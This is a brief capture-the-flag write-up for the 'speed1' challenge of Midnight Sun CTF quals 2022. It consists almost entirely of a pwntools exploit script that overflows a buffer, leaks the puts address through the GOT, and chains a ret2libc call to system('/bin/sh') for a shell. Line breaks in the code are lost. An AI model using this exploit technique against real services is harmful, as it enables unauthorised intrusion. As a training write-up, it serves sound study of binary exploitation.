The original writeup for speed1 can be found at [https://github.com/0x01DA/writeups/tree/master/midnightsunctfquals2022/speed1](https://github.com/0x01DA/writeups/tree/master/midnightsunctfquals2022/speed1)
We used a two stage payload. First stage finds out the address of puts via GOT. We calculate the address for the system-function and the second stage delivers the ret2libc-payload
```#!/usr/bin/env python3
import osfrom pwn import *import pwnlib.elf
context.log_level = 'debug'c = remote('speed-01.hfsc.tf',61000)#c = process('./speed1')# break: 0x40124d# c = gdb.debug(['./speed1'], gdbscript='''#         b *0x40124d#         c# ''')libc = ELF('libc.so.6')e = ELF('./speed1')
context.binary = econtext.os = 'linux'context.arch = 'amd64'rop = ROP(e)
c.recvuntil('b0fz:')
# padding for buffer overflowrop.raw("A" * 40)rop.puts(e.got['puts'])rop.call(0x4010d0) # address of main/entrypointprint(rop.dump())
info("Stage 1, leaking puts@libc address")c.sendline(rop.chain())leakedPuts = c.recvline()[:8].strip()
leakedPuts = int.from_bytes(leakedPuts, byteorder='little')success(f'Leaked puts: {leakedPuts:x}')libc.address = leakedPuts - libc.symbols['puts']info(f"Libc Address: {libc.address:x}")
info("Stage 2, ret2shell")c.recvuntil('b0fz:')rop2 = ROP(libc)rop2.call(rop.find_gadget(['ret']))rop2.call(libc.symbols['system'], [next(libc.search(b"/bin/sh\x00"))])
padding = (b"A"*40)payload = b"".join([padding, rop2.chain()])c.sendline(payload)c.interactive()```